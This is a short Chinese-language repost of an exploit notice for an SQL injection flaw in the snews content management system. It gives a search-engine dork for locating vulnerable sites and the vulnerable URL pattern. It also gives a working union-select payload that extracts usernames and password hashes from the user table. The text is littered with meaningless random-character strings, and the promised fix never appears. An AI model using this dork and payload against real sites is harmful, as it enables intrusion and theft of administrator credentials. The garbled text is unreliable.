CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
3 H( X$ S0 ^. D7 n7 J4 w9 Z作者: By onestree
' V1 `( K) \& s5 f( Y! C3 `0 S( L下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
+ o) [) _, X) I; R7 h关键词: inurl:"tanyakan pada rumput yang bergoyang"


( ?# z9 b) ^/ `) e*************************************************************
. E+ w2 L- S9 Z, V
$ z6 d7 Y! W2 _  ~" LSQL poc:

  L; U' Y% T) hhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
" v4 y4 z1 c' K, v2 I5 m
7 [3 ]$ O2 S: [. i6 a3 x示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*

8 `+ S4 \- }( N$ a
致谢:
% Y2 v" F# O' Z/ |6 z9 _; k6 V+ Y" H
  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
) R$ a$ q, `  T9 Q7 J: F9 D     
% D# F- H, a" b, \2 I          indonesiancoder - moeslimh4x0r - go-coder
9 Z- b: x" B6 R2 b9 E
spesial my hunny :*
5 g$ N, z5 i; x; l* ^! I8 G2 v3 _